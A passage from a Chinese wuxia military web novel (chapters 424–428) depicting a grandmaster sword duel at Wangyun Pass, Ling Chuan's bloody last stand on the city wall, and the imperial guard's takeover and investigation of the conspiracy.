这极具震撼的一幕,也震住了带人杀向凌川的宋集一行,他看着城墙之外那位立于半空的老人,一双眼睛瞪得老大,身后那一众追随的士兵更是一双眼珠子都快要掉下来。 立身于城墙之上的凌川同样震惊,尽管他早已知晓杨铁匠的底细,也曾近距离看过他出手,但他对于江湖顶尖高手的了解,还是太过于片面。 仅凭杨铁匠这一手,便颠覆了他以往对江湖高手的所有认知。 就在此时,杨铁匠动了,只见他缓缓迈出脚步,踩在虚空中,随着他每一步落下,脚底总会出现一团剑气,将其托住。 他就这么如履平地,在无数双眼睛的注视下,一步步朝着城楼方向走去,每一步落下,都会伴随着大量的剑鸣声。 终于,杨铁匠在对方百步之外停下,那双平静的目光之下,是一道道犀利的剑芒在闪烁,死死盯着对方。 “今日,能领教杨剑神的高招,梁某实乃三生有幸!”城楼之上,身着玄色长袍的梁桂章再次抱拳,语气依旧保持着宗师气度。 杨铁匠眼中闪过一丝毫不掩饰的厌恶,“想不到,白鹤梁竟然沦为走狗,着实令老夫意外!” 话音未落,他已不再多言。 只是看似随意地,将手中那把破刀,朝着百步之外的梁桂章,凌空一记横斩。 没有耀眼的刀光迸发,没有撕裂空气的尖啸,甚至连一丝气流都未曾引动。这一刀,朴实无华到了极点,仿佛只是一个老人闲极无聊时随手挥舞的动作。 然而,城楼之巅的梁桂章,在杨铁匠抬刀的瞬间,眼神便骤然收缩,脸上的从容瞬间被极致的凝重所取代。 不见他有何动作,其身形已在间不容发之际,化作一道模糊的玄色残影,冲天而起! 就在他离开房脊的刹那,一道无形的剑气横空掠过。 没有惊天动地的声响,但如聂星寒等目力过人之辈却清晰地看到,城楼顶部的青瓦翘檐被齐整整地削去数寸,断面光滑如镜。 若是梁桂章躲得稍慢半分,此刻怕是已被拦腰斩断。 凌川所在的位置看得格外清楚,那段被削掉的檐角就掉落在他身前不远处,断口平整、光亮如镜。 梁桂章的身形缓缓落下,依旧站在原来的位置,姿态与之前别无二致,玄色长袍之上,几只白鹤随风起舞。 “杨剑神,若想取梁某性命,不拿出点真本事,怕是不行!”他强自镇定地说道,声音却比刚才低沉了半分。 随即,他嘴角扯出一抹意味深长的笑意,淡淡说道:“我也很好奇,当年大江折断于白云城之后,你这剑神之名还是否名副其实!” 他刻意扫了一眼杨铁匠手中那把满是豁口的战刀,语气陡然转厉:“我更好奇,如今的你,还能不能提起剑!” 对于这番带着明显侮辱的激将之语,杨铁匠只是不屑一笑,仿佛听见了孩童的稚语。 “你不用激我!”他的声音平静得可怕,“当年之败,我杨斗重败得心服口服,可你若觉得,老夫会就此一蹶不振,连直面这一败的勇气都没有……” 他顿了顿,目光陡然锐利如剑:“那你也太小看我杨斗重了!” 杨斗重再次看向梁桂章,眼神中带着几分审视,几分不解:“倒是你们那一辈中,天才不在少数,如蜀山剑宗的萧剑离;苍山竹海的李长亭;南海孟星凡……他们能跨入宗师境,老夫一点都不觉得意外!” 他的话音陡然一转,语气中带着毫不掩饰的鄙夷和淡淡的不屑,一字一句地问道: “可你梁桂章——凭什么?” 这番话中带着毫不掩饰的鄙夷,还有一丝若有若无的不屑,如同细针刺入耳膜。 梁桂章眼底怒意一闪而逝,旋即被他完美地隐藏在平静的面容之下,依旧保持着那副超然物外的姿态。 “我承认,论天赋,我不及孟星凡惊才绝艳;论心性,我不及李长亭澄澈通透;论背景底蕴,我更不如萧剑离背靠蜀山。但……” 梁桂章话音一顿,语气中透出几分天命在我的自得,“我梁桂章却得上天眷顾,偏偏抓住了那一缕千载难逢的机缘,硬生生闯进了这宗师门槛!” 他的眼神中闪烁着难以抑制的骄傲,语气里更是带着沾沾自喜的意味,仿佛这宗师的境界,已是了他此生最大的勋章。 谁知,杨斗重只是缓缓摇了摇头,那眼神如同在看一个懵懂无知的孩童,淡淡说道:“井底之蛙,坐井观天。你莫不是真以为,踏入了宗师境,便真的天下无敌了?” 梁桂章闻言,脸上得意之色更浓,嗤笑道:“我自然知晓宗师并非真无敌,但用来对付你这个剑心早已破碎、连腰杆都挺不直的老废物,想必是绰绰有余了!” 杨斗重并未动怒,神色依旧平淡,仿佛在陈述一个再简单不过的事实:“你可知,即便是当年让我惜败半招的白惊霆,也绝不敢用这等口吻与我说话!” 梁桂章不以为意,反而抓住对方的痛处,笑道:“是吗?那你为何会一败涂地?连你视若生命、引以为傲的大江,都被人硬生生折断在了白云城?” 第一卷 第424章 杀你,亦如屠狗! “哈哈哈哈……” 听闻此言,杨斗重笑了,笑声起初不高,却带着一股难以言喻的狂放与不羁,在空气中震荡开来。 忽然,笑声戛然而止。 就在这一瞬,杨斗重周身的气势陡然剧变。 之前的平淡无奇瞬间荡然无存,取而代之的是一种极致的凌厉,仿佛周遭天地间流转的无形剑气,在这一刻尽数汇聚、融入了他那看似枯槁的身躯之内。 他目光如电,直射梁桂章,一字一句,清晰无比地吐出: “就算我杨斗重手中无剑,杀你,亦如屠狗!” 放眼整个江湖,有几人敢对一位宗师境强者说出如此话语? 听闻此言,梁桂章脸上也浮现出怒容,即便眼前之人曾是一个时代的传奇,曾一人一剑压得半座江湖喘不过气,但如今的自己,也是堂堂宗师!岂容他如此折辱? 当年在江湖中,他梁桂章虽有名声,却始终被同辈那几位天骄的光芒所掩盖,几乎无人认为他有资格窥探宗师之境。 正是怀着这份不甘,他淡出江湖整整十年,一直到三年前,他终于跻身这受万人敬仰的宗师之境! “杨斗重,你找死!” 梁桂章怒喝一声,周身气势轰然爆发,浑厚的真气如江河决堤般奔涌而出,一股强大的威压弥漫开来,席卷整座城关,令人窒息。 随着他双手缓缓抬起,城楼顶上的瓦片竟开始轻微震动,随即一片片脱离原位,缓缓浮空而起。 顷刻之间,整座城楼顶上的瓦片已被尽数掀起,悬浮于半空之中。 这神乎其技的一幕,再次让所有人瞪大双眼,脸上写满了难以置信。 “这……这就是宗师高手的实力吗?” “我滴娘嘞,这已经完全超出了凡人的范畴,恐怕只有传说中的仙神才能做到吧!” 更多的人则是屏住了呼吸,双眼一眨不眨地死死盯着空中,生怕错过任何一个细微的瞬间。 众所周知,放眼整座江湖,宗师境强者屈指可数,而宗师之间的生死对决,更是数十年都难得一见的盛事。 对于这些普通人而言,能目睹此战,已是毕生最大的荣幸,足以成为他们余生津津乐道的传奇谈资。 然而,更令人震惊的是,那数以万计离开了房顶的瓦片,并未散乱坠落,而是依旧保持着之前在屋顶铺设时的整齐状态,紧密相连,宛如一片巨大的黑云,朝着城关外半空中的杨斗重缓缓压去。 忽然,梁桂章缓缓举起右手,五指张开,手掌缓缓前推。 “哗啦啦……” 与此同时,在一片密集响动中,那成千上万的瓦片仿佛被无数双手精妙操控,开始迅速变幻形态。 眨眼之间,它们竟凝聚成一只巨大无比的黑色手掌,五指分明,带着遮天蔽日的气势,朝着杨铁匠缓缓压来。 其速度虽不快,但它携带的恐怖气势,却让下方众人心惊胆战,仿佛天穹将倾。 然而,面对这骇人的一击,杨铁匠的脸上却看不到半分慌乱,反而嘴角微勾,带着一丝洞悉本质的嘲讽:“我道是何等通天手段,原来是这种揠苗助长的取巧之法,难怪你能跨入这宗师境!” “杨斗重,休要逞口舌之利!今日便让我领教你的大江东去!”梁桂章满脸得意,高声喝道,“却不知,如今的你,是否还能施展出这成名绝技!” 此言一出,勾起了在场不少知晓往事之人的回忆。 据说,当年杨斗重自夔门崖壁悟剑,观江水奔腾、一去不返而心有所感,遂毅然沿江逆流而上,一路跋山涉水,最终抵达了那大江源头的雪山之下。 他很难想象,那咆哮万里、势不可挡的浩荡长江,其源头竟是如此一股纤细宁静的涓涓细流。 他于此枯坐三月,望冰峰融水,听雪水滴落,终将那一路所见的江流百态、水势万千融会于心,开创出一记惊世骇俗的无双剑招。 施展此招时,无尽剑气奔涌而出,恰如大江横空,浩浩荡荡,其势足以摧毁前方一切阻碍。 这便是名震江湖的——大江东去! 悟出此剑招后,杨斗重远走西漠,直上千佛山。 据传,他仅用这一剑,便悍然破开了千佛山传承悠久的千佛大阵,更是将那位成名多年的当代佛陀重创。 须知,那位佛陀乃是稳坐宗师境多年的绝顶高手,且在千佛大阵为其抵挡了那一剑大半威势的情况下,依旧未能完全接下。 由此可见,那初具雏形,远未打磨至圆满的一记剑招,是何等的霸道无匹,惊世骇俗。 乃至后来空观寺的无相僧人也曾坦然评价,自己的般若金钟罩,也挡不住那霸道无匹、犀利无双的一剑。 自此之后,杨斗重也似乎感受到这一招太过于凶悍霸道,一旦施展出来,再也难以控制,此后便再没使用过。 一直到十六年前的东海白云城之战,他再次施展出这绝世无双的剑招…… 那是杨斗重仅有的两次施展这一招剑术,一次名扬天下,一次黯然收场。 巨大的黑色手掌缓缓压下,仿佛连周遭的空间都在其重压下扭曲变形。 那不再仅仅是瓦片的聚合,更像是一座完整的山岳被搬到了空中,将杨铁匠单薄的身影完全笼罩。 就连远在城关之下的洛青云等人,都能感受到那股令人心悸的压迫感,仿佛空气都凝固成了实质。 面对梁桂章蓄势待发的挑衅,杨铁匠只是不屑地摇了摇头,声音平静却清晰地传遍全场:“大江东去,用在你这种徒有其表之辈身上,只会玷污了它的威名!” 话音未落,他再次抬起手中那柄布满豁口的战刀,随着磅礴剑气的疯狂灌注,原本锈迹斑斑、毫不起眼的刀身,瞬间迸发出璀璨夺目的光华,宛如夜空中最亮的星辰。 “铮铮——!” 清越的剑鸣声不绝于耳,产生了奇特的共鸣。 望云关内外,无数士兵手中的战刀竟也随之自行震颤嗡鸣,仿佛在向这股剑意致敬,几欲脱手而出! 于此刻的杨斗重而言,手中所持是刀是剑,抑或只是一根枯枝,都已无本质区别,万物皆可为剑,意动则剑发。 紧接着,他看似随意地一刀刺出。 第一卷 第425章 宗师之战 一道凝练到极致的璀璨剑芒,如沉睡万古的怒龙骤然苏醒,咆哮着撕裂长空,剑芒所过之处,虚空仿佛被划开了一道无形的裂隙。 这道剑芒快得超越了肉眼所能捕捉的极限,其光辉比流星更为夺目。 然而,与那遮天蔽日的巨大黑掌相比,它就像是一根绣花针,显得如此的微不足道。 两者轰然对撞的瞬间,剑芒竟如同泡沫般当场溃散,化为点点流光消逝。 这始料未及的一幕,让所有围观者都愣住了,无数道目光由期待转为怀疑,齐刷刷地投向虚空中那道青衫身影。 一代剑神,竟如此不堪一击? 这杨剑神,不会是假的吧? 究竟是梁桂章这位新晋宗师实力强横得超乎想象,还是杨斗重早已名不副实?又或者,真如世间传言那般,当年白云城一败,已彻底击碎了他的剑心,让他再也提不起剑了? 就连凌川也感到难以置信。 他并非怀疑杨斗重的实力,而是暗自担心起他的身体状况,此前,杨铁匠为他炼化衡水屠夫的杀气和岐山书生的浩然真气,又强行出手一剑斩杀蛇王,虽然凌川不相信真如杨铁匠自己所言的那般身体被掏空,但他的虚弱却是有目共睹的。 就在众人心思各异之际,异变陡生! 梁桂章脸上那抹得意的笑容瞬间冻结,取而代之的是无法掩饰的震惊与难以置信。 “砰!” 一声石破天惊的爆响震彻四野。 只见那由数万瓦片凝聚而成的巨大手掌,竟从内部轰然炸开,顷刻间分崩离析,化为一片黑色齑粉,弥漫半空。 所有人都感觉心神猛然一抽,那化为齑粉的瓦片并未散开,反而如同拥有了生命般,在空中缓缓蠕动、汇聚,显得比之前更加厚重、更加压抑。 顷刻之间,漫天齑粉仿佛被一只无形巨手操控,自动凝聚成一柄足有十丈多长、通体漆黑的擎天巨剑,横亘于望云关之上。 剑身之上,不时有刺目的寒芒如龙蛇游走,冰冷的剑尖精准地指向仍立于城楼顶端房梁之上的梁桂章。 后者双目圆瞪,一股源自灵魂深处的寒意瞬间窜遍全身,将他死死禁锢在原地,连一根手指都难以动弹。 眼看那黑色巨剑以摧枯拉朽之势朝自己逼来,梁桂章浑身神经紧绷到了极致,细密的冷汗瞬间浸透内衫。 直到此刻,他才真切地体会到,这位曾经力压一整代江湖高手的剑神,究竟恐怖到了何种地步。 尽管他已淡出江湖十数年,尽管他曾佩剑折断、饮恨败北,但其残存的余威,依旧不是自己这等后来者所能挑衅的! “拼了!” 求生的本能激发了全部潜力,梁桂章内心狂吼,疯狂运转体内所有真气,终于在巨剑离他十丈之时,勉强挣脱了那股精神威压的束缚。 “给我开!” 他目眦欲裂,嘶声咆哮,将全身真气毫无保留地外放,凝聚成一只凝实的巨大拳印,悍然轰向那把擎天巨剑! “砰!” 又一声巨响,真气拳印在与黑色巨剑接触的刹那,便如琉璃撞上磐石,瞬间土崩瓦解,消散于无形。 巨剑其势不减,径直撞上梁桂章的护体真气。 “噗!” 梁桂章如遭雷击,口中鲜血狂喷。 他施展出所有压箱底的手段,却依旧无法阻挡这霸道绝伦的一剑。 他整个人被剑尖抵着,如同断线的风筝般倒飞出去,狠狠砸向下方的望云关演武场。 时间,仿佛在这一刻静止了。 所有人都瞪大了双眼,甚至忘记了呼吸,天地间只剩下那柄缓缓消散的黑色巨剑,以及梁桂章坠落时在空中划出的那道刺目血线。 不知过了多久,或许只是一个刹那,又仿佛无比漫长。 空中那慑人的剑芒终于彻底消弭于无形。 望云关演武场中,随着漫天烟尘缓缓散去,一个由黑色尘土堆积而成的小山包,静静地躺在那里。 杨铁匠并未趁势入关,而是转身回到关外,轻飘飘地落回那辆马车之上,手中那把满是豁口的破刀早已布满裂纹,此时更是达到了极限,直接化为一堆碎片。 凌川见状,内心一阵无奈苦笑,暗忖:‘杨老头啊杨老头,你这倒是装圆满了,好歹顺手把我也带出去啊!’ 回到马车上的杨斗重,拿起那只伴随他多年的酒葫芦,拔掉塞子,习惯性地朝嘴里倒去。 葫芦里的酒之前就已喝光,可当他将葫芦拿开时,葫芦嘴边缘,却清晰地沾染着一抹殷红血迹。 这场惊世骇俗的宗师之战,就此落幕。 严格来说,杨斗重只出了一剑。 可正是这一剑,便干脆利落地击败了来自白鹤梁的宗师梁桂章。 人们也终于相信,他之前那句‘就算手中无剑,杀你亦如屠狗’,绝非狂言,而是在平静地陈述一个冰冷的事实。 又过了不知多久,望云关演武场中,那座由黑土堆成的小山微微蠕动了一下。随即,一个浑身沾满尘土、狼狈不堪的身影,艰难地从里面爬了出来。 那赫然是梁桂章! 此刻的他,衣衫褴褛,发髻散乱,浑身漆黑,连站稳都极其困难,嘴里还在不断地咳出鲜血,哪里还有半分宗师风范? 他败了,败得彻彻底底,毫无悬念,毫无还手之力! 此刻再回想起自己先前那些狂妄之语,只觉得无比讽刺可笑。 那位曾叱咤风云的老剑神,即便不在巅峰状态,仅凭这残留的余威,也绝非他这等人物所能挑衅。 可以预见,用不了多久,杨斗重这个曾让无数人仰望又畏惧的名字,将再次响彻江湖。 而自己,则成了他重出江湖的第一块垫脚石,一个注定要被写入江湖轶事中的反面注脚。 就在这片战后余烬未冷、众人心神尚未平复之际,关内方向,骤然传来隆隆铁蹄之声! 一支两千人的精锐骑兵,如钢铁洪流般疾驰而至,瞬间抵达望云关下。 为首将领,正是禁军统领蓝少堂,他手持一口寒气森森的陌刀,翻身下马,动作干净利落,大步流星直奔城关而去。 “禁军统领蓝少堂,奉陛下圣谕接管望云关,胆敢阻拦者,杀!”他声如寒冰,目光如刀锋般扫过全场。 第一卷 第426章 孤军奋战 城关之上,宋集远远望见那支如狼似虎的禁军队伍在蓝少堂的率领下直扑关门,脸色骤然惨白。 他深知望云关之事绝难瞒过神都耳目,当初谋划时也预留了应对之策,却万万没料到禁军竟来得如此迅疾。 望云关距神都五百余里,事发至今不过半日,禁军便已兵临城下,这只能说明,他们提前就已经出发了,至于是如何走漏的消息,宋集不得而知,眼下也没有多余的时间去思考这些问题。 对于禁军三大统领之一的蓝少堂,宋集再熟悉不过。 两年前,他还是蓝少堂麾下一名标长,直到萧卫蘅调任望云关主将,他才随同前来。 此刻见故主亲至,宋集眼中闪过一丝穷途末路的疯狂,他一把拉过身旁一名标长,压低声音急促吩咐:“快!带几个信得过的兄弟去小院,把尸体处理干净!要快!” 那标长会意,重重点头,随即躬身混入人群,朝着将军府方向疾步离去。 宋集转回头,死死盯住前方浑身浴血的凌川,脸上尽是狰狞之色。 他猛地拔出战刀,声嘶力竭地吼道:“兄弟们!这是为萧将军报仇的最后机会!一旦禁军到来,我们就再也没法手刃这个奸贼了!” 他这番蛊惑之言,早前确实煽动了不少不明真相的士兵,可惜方才那场惊世骇俗的宗师对决打断了进程,此刻许多人已经冷静下来,眼神闪烁,脚步迟疑。 时间紧迫,禁军正以摧枯拉朽之势冲上城墙,所过之处,望云关守军纷纷丢下兵器退避,无人敢撄其锋! “随我杀!”宋集双目赤红,厉声咆哮。 此刻仍跟在他身边的,只剩下十余名死士,这些血衣堂培养的亡命之徒,早已将生死置之度外。 城墙另一端,凌川紧握手中战刀,眼神中一片决然,他见对方举起弓弩,他非但不退,反而深吸一口气,猛地向前冲去。 “咻咻咻!” 他反手掏出腰间的匣子弩,手指在机括上连连扣动,九支淬毒弩箭如毒蛇出洞,瞬间没入敌群! 三名冲在最前的死士应声倒地,凌川射空弩箭后看也不看,随手将这件保命利器丢弃,双手握紧战刀,如一头猛虎扑向敌人。 “放箭!快放箭!”宋集嘶声怒吼。 十余支羽箭破空而来,凌川身形在狭窄的城墙上辗转腾挪,大部分箭矢擦身而过,钉在身后的垛墙上。 他手中战刀洒出一片寒光,发出叮叮几声脆响,格开迎面射来的三支利箭。 “噗!” 一支冷箭深深扎进他的右肩,箭簇入骨的剧痛让他闷哼一声,前冲的势头为之一滞。 凌川一刀将箭杆斩断,脚下速度丝毫不减,眨眼间,他已杀至宋集等人面前,染血的战刀带着一往无前的决绝,横扫而出。 “嗤嗤!” 刀锋掠过两道血线,两颗头颅冲天而起,温热的鲜血如喷泉般从断颈处涌出,将城墙青砖染得一片猩红。 “杀了他!给我碎尸万段!”宋集又惊又怒,挥刀亲自迎上,身后死士如影随形。 凌川独守城墙通道,浑身浴血,每一步踏出都在地上留下一个血脚印。 他眼神冷如寒冰,迎面一个死士举刀劈来,他不闪不避,战刀如毒蛇出洞,后发先至。 “嗤!” 刀尖精准地穿透对方胸甲,从后背透出,凌川不等对方气绝,竟顶着这具尸体继续前冲,一直逼到宋集面前,才猛地一脚将尸体踹飞,砸倒后方两名欲要冲上来的死士。 与此同时,他手中战刀划出一道刁钻的弧光,只听见一连串的金铁交鸣声,三把劈来的腰刀应声而断,凌川刀势不绝,反手一撩,又是一人捂着喉咙倒下。 然而,后方甬道再次涌来大批士兵,这些人眼神狠厉,面目狰狞,分明都是血衣堂培养的死士。 凌川经连番恶战,早已是强弩之末,旧伤未愈,又添新创,破碎的衣衫被鲜血浸透,紧贴在身上。 但他竟凭着顽强的意志,在敌群中又向前推进了两丈,身后留下七八具尸体,而他自己也添了数道深可见骨的伤口,左腿上一刀尤其严重,鲜血汩汩涌出。 “凌川!明年的今天就是你的忌日!”宋集见他步履蹒跚,眼中露出恶毒的喜色。 凌川以刀拄地,勉强站稳身形。 浑身浴血的他立在狭窄的城墙通道中央,宛如一尊从地狱归来的杀神,他缓缓抬头,目光扫过围拢上来的死士,声音沙哑却带着令人胆寒的杀气: “想要我的命?那就来吧!” 若是寻常军士,早被这骇人气势所慑,但这些血衣堂死士早已麻木,闻言不但不退,反而如潮水般涌上。 就在这时,一道凄厉的破空声自凌川身后袭来。 “咻!” 冲在最前的那名死士咽喉瞬间被一支铁箭洞穿,那箭去势未衰,竟又贯穿他身后另一人的胸膛,将两人像糖葫芦般串在一起。 看到那支特制的破甲箭,凌川紧绷的心弦终于一松,他知道是聂星寒到了。 “将军!洛青云来也!” 又是一声雷霆般的大吼从城墙下方传来,声音由远及近,显然正在急速逼近。 凌川无暇回头,强提一口气,战刀挥出,将两名扑上的死士砍翻,但左腿剧痛让他一个趔趄,险些跪倒,他死死咬着牙,用战刀支撑住身体。 他很清楚,此刻若倒下,就再也站不起来了。 “死!” 伴随着一声震天怒吼,一杆马槊如怒龙出海,从凌川身侧呼啸而过,将一名正要偷袭的死士当胸洞穿,槊尖透背而出,带出一蓬血雨。 洛青云双目赤红,几乎要滴出血来,沸腾的杀气在他周身奔涌。 他双臂肌肉虬结,手中马槊猛地一挑,将那名被洞穿的杀手尸体高高挑起,随即狠狠砸向汹涌而来的敌群,顿时引发一阵混乱。 他一步踏前,魁梧的身形如铁塔般挡在凌川身前,手中马槊化作一道黑色旋风,或刺或挑,或砸或扫,形成一道密不透风的屏障。 尽管敌人悍不畏死地前仆后继,却始终难以突破这铁壁般的防御。 第一卷 第427章 禁军统领,蓝少堂 后方,聂星寒面色冷峻,手中铁胎弓接连嗡鸣,一支支夺命铁箭飞射而出,每一箭必取一人性命,箭无虚发。 然而涌上城墙的死士越来越多,如同潮水般源源不绝,洛青云纵有万夫不当之勇,此刻也渐感力竭,铠甲上已添数道裂口,鲜血缓缓渗出。 “将军,快撤!”洛青云嘶声大吼,声音中带着几分急切。 他与聂星寒二人,是趁着方才杨铁匠与梁桂章交手吸引了大家的注意,冒险从城外攀援而上,此刻城外大军仍被重重围困,退路已然断绝。 “撤个锤子!”凌川冷声回绝,声音虽虚弱却斩钉截铁。 他强忍着浑身剧痛,提刀迈步上前,与洛青云并肩而立。 不是他不想退,而是遍体鳞伤的身体早已到了极限,根本没办法撤。 此刻的宋集同样心急如焚,他必须在蓝少堂率禁军抵达前将凌川斩杀,时间每过一瞬,他的胜算就少一分。 凌川心中同样清明如镜,只要撑到蓝少堂到来,便是胜利。 又一轮惨烈厮杀展开,不多时,城墙通道上已堆积了数十具尸体,凌川与洛青云身上再添新伤,聂星寒也射出了最后一支破甲箭。 紧接着,聂星寒一个闪身,如鬼魅般掠至凌川另一侧,那把令人闻风丧胆的铁胎弓已被他背在肩上,取而代之的是一柄寒光凛冽的苍生刀。 “你怎么过来了?”洛青云一边格开劈来的刀锋,一边急问。 “箭用完了!” 聂星寒话音未落,身形已如离弦之箭暴射而出。 只见他手中战刀泛起残影,精准无比地刺穿三名死士的咽喉,随即迅速退回原位。 整个过程快得令人眼花缭乱,直到他稳站回凌川身侧,那三名死士喉头才猛地喷出三道血箭,带着难以置信的神情缓缓倒地。 便是久经沙场的凌川和洛青云,也被他这快如闪电的刀法惊得心头一震。 一直以来,聂星寒给人最深的印象是那例无虚发的神射之术,也正因如此,他近身搏杀的机会少之又少,谁都不曾想到他的刀法竟也如此骇人。 然而聂星寒却面色如常,仿佛只是做了一件微不足道的小事,他冷漠的目光始终锁定前方强敌,对二人投来的惊诧目光浑若未觉。 久攻不下让宋集彻底癫狂,他将目光投向不远处那架狰狞的床弩,厉声嘶吼:“调转床弩,给我射杀他们!” 守在床弩旁的几名士兵并非血衣堂死士,面对这道命令,他们面露迟疑,手足无措。 宋集大步冲上前去,战刀直指几人咽喉:“老子的命令,你们敢不听?” “是……校尉大人!”士兵们不敢违抗,只得手忙脚乱地调转床弩方向。 七支儿臂粗细的巨型弩箭闪烁着死亡寒光,如同恶魔獠牙般对准了凌川三人。 “住手!妄动者格杀勿论!” 一声雷霆般的暴喝突然响起,只见蓝少堂手持陌刀大步而来,他身后紧随着大批禁军,个个甲胄鲜明、神色冷峻,虽经苦战而铠甲染血,却更添几分肃杀之气。 这支护卫神都皇城的精锐之师,仅凭气势便已震慑全场。 “禁军统领蓝少堂,奉命接管望云关!抗命者,以谋逆论处!”蓝少堂声震四野,每一个字都带着不容置疑的威严。 宋集面色瞬间惨白如纸,他知道,全盘计划终究是功亏一篑。 绝望之色在他脸上一闪而过,他猛然抬起战刀就往颈间抹去,就在这电光石火间,蓝少堂身后一名禁军一箭射来,精准地洞穿他的手腕。 “噗!” 战刀应声落地,宋集心一横,转身扑向城墙边缘意欲跳下。 然而蓝少堂手中那口陌刀已如闪电般掷出,一刀贯穿他的大腿,将他死死钉在城墙边缘。 “拿下!” 蓝少堂一声令下,两名禁军如猎豹般扑上,瞬间将宋集制服。 几乎同时,那些仍在负隅顽抗的血衣堂死士见大势已去,纷纷挥刀自刎,顷刻间倒下一片。 蓝少堂率领禁军在凌川三人两丈外停下脚步,只见三人四周尸横遍地,足足数十具尸体将这段城墙通道铺得满满当当。 三人中,唯有聂星寒状况稍好,洛青云与凌川皆浑身浴血。 尤其是凌川,衣衫早已被鲜血浸透,看不出原本颜色,整个人摇摇欲坠。 “北系军……云州副将凌川,见过蓝统领!”凌川声音虚弱,只能用手中战刀支撑着身体。 他全身上下十几处伤口仍在淌血,肩头那支断箭格外触目惊心。 “北系军云州校尉洛青云,见过蓝统领!”洛青云语气激动,望向蓝少堂的眼神中带着难以言喻的复杂情感。 两年前若非这位统领力保,他早已身首异处,不想今日竟在此情此景下重逢。 蓝少堂目光在三人身上扫过,啧啧摇头:“好惨啊!” 不待三人反应,他紧接着吐出两个字:“拿下!” 几名禁军应声上前,动作却异常轻柔,不似擒拿,反倒像是搀扶。 …… 夜幕低垂,将望云关笼罩在一片沉寂之中。 城头的斑斑血迹在黑暗中隐去形状,唯有空气中挥之不去的浓重血腥气,仍在无声诉说着白日那场惨烈厮杀。 随着禁军全面接管望云关,这场动荡终于被强行摁下。 蓝少堂身为禁军三大统领之一,无论是个人勇武还是统兵之能毋庸置疑,他当机立断,将两千禁军精锐尽数打散,混编入望云关守军各部,彻底掌控了所有兵权。 随即,一场针对望云关万余守军的彻底清查迅疾展开。 原先驻扎在城外、参与围困凌川部众的一千多骑兵也被调回关内,然而当禁军前去控制其将领时,却发现那几支骑兵队伍的将领竟已不知在何时悄然遁走,不知所踪。 不仅如此,关内亦有多名校尉级别的将领人间蒸发,标长一级更是多达十余人悄然消失。 这些人为何消失,答案已不言自明。 听着麾下将领接连回报的消息,蓝少堂的脸色愈发阴沉似水。他简直难以置信,这座被视为神都咽喉的天下雄关,竟在不知不觉间被渗透得如同筛子一般。 万幸的是,如此庞大的布局,被凌川给搅浑了,否则后果不堪设想。 第一卷 第428章 秦淮江 能够如此处心积虑地掌控望云关这等战略要地,血衣堂背后所牵扯的势力之庞大、图谋之深远,仅仅稍作思量,便让蓝少堂感到一阵心惊。 他几乎可以断定,对方耗费如此心血,绝不仅仅是为了杀一个凌川那么简单。 除掉凌川,估计只是他们宏大棋局中顺手落下的一子。 想到这里,即便是久经风浪的蓝少堂,也不由得感到脊背窜起一股寒意。 当晚,廷尉府的人马终于赶到。 带队者并非从北疆折返的阎鹤诏,而是主管雍、并、定几州事务的另一位都统,秦淮江。 此人与阎鹤诏品级相同,皆为廷尉府九大都统之一。 他原本在并州调查刘熙图一案,接到望云关生变的急报后,便立刻带领精锐火速赶来。 凌川麾下的部众在经过严格排查后,终于被允许入城,被安置在一处独立的营区。 此刻,营房之内灯火通明,两名军医正在小心翼翼地为凌川和洛青云处理伤口。 洛青云情况稍好,得益于铠甲防护,虽伤痕累累,却未伤及根本。 而凌川则凄惨得多,那件被鲜血反复浸透的衣衫早已与伤口的皮肉粘连,只能用剪刀细细剪开。 当那遍布全身的狰狞伤口彻底暴露出来时,即便是见惯了血腥的军医,也忍不住倒吸一口冷气。 全身上下深浅不一的伤口多达十余处,其中好几道更是深可见骨,皮肉翻卷,令人触目惊心,然而凌川本人却始终保持着清醒与镇定,这份意志力着实令人心惊。 “相公!” 一声带着哭腔的惊呼从门口传来,只见苏璃不顾阻拦,手持药瓶闯了进来。 当她看清凌川身上那几乎没有完好的皮肉时,泪水瞬间决堤。她踉跄着扑到榻前,颤抖着握住凌川未曾受伤的手,泣不成声。 凌川勉力扯出一个安抚的笑容,声音因失血而沙哑:“娘子,别怕,我没事!” “夫人,将军伤势沉重,我等需尽快清创上药,还请您暂且回避!”一名年长的军医低声劝道。 苏璃用力抹去脸上的泪水,眼神却异常坚定:“让我来,以前都是我给他处理伤口!” 凌川轻轻摇头,柔声劝解:“让军医处理吧,他们他们经验丰富!” 他是怕苏璃见了那些触目惊心的伤口心中难受,苏璃凝视他片刻,终是将那瓶金创药粉轻轻放在榻边,一步三回头地退了出去。 治疗过程持续到深夜,两名军医才拖着疲惫的身躯走出房门。 守候在外的苏璃立刻迎上前,眼中满是急切与担忧。 年长的军医擦了擦额角的汗珠,宽慰道:“夫人放心,凌将军吉人天相,皆未伤及要害,性命无虞。只是伤口过多,失血亦多,尤其那几处深及骨的伤势,至少需静养半月,方可尝试下地行走!” 听闻凌川暂无性命之忧,苏璃高悬的心终于落下一半,她示意翠花取出两锭十两银子,执意塞到两位军医手中。 “使不得,夫人,这万万使不得!”两人连连推辞。 “二位辛苦半夜,救命之恩,区区谢仪不足挂齿,还请务必收下!”苏璃言辞恳切,让翠花硬将银锭塞了过去。 待军医离去,苏璃才轻手轻脚地走入房内。 只见凌川周身缠满了的绷带,此刻已因疲惫和失血沉沉睡去,唯有绷带上渗出的点点猩红,刺痛着她的双眼。 她强忍着鼻腔的酸楚,没有让眼泪再次落下,只是轻轻坐在榻边,默默地守护着这个为她、为众人拼得浑身是伤的男人。 这一夜的望云关,注定无人安眠。 禁军联合廷尉府,对望云关军营进行了一场彻夜不休的清洗与甄别。 然而,大部分核心人物或在行动失败后便已潜逃无踪,或因无法脱身而选择了自我了断,忙碌整夜,抓获的多是些无关紧要的小角色。 如今,唯一尚存且分量最重的线索,便只剩下那个自杀未遂的校尉宋集。 在一处森严的营房内,宋集被粗糙的绳索悬吊着,仅余脚尖能勉强触及地面,分担一丝身体的重量。 他因失血过多而脸色惨白如纸,气息奄奄,仿佛随时都会油尽灯枯。 廷尉府都统秦淮江,这位年近五旬、面容肃穆的中年男子,正安然坐在他对面,借着跳动的灯火,缓缓翻动着手中一份厚厚的名册。 他的动作不疾不徐,仿佛有着无穷的耐心,等待着猎物最终的精神防线彻底崩溃。 那份名册上密密麻麻记录着近两百个名字,皆是标长以上的军官,秦淮江的目光缓缓扫过这些名字,指节分明的手指在纸页上轻轻敲击。 他注意到一个令人心惊的规律,这些将领中,竟有半数以上是近两年内被提拔上来的,而他们前任的下落,则被各种看似合理的意外所掩盖。 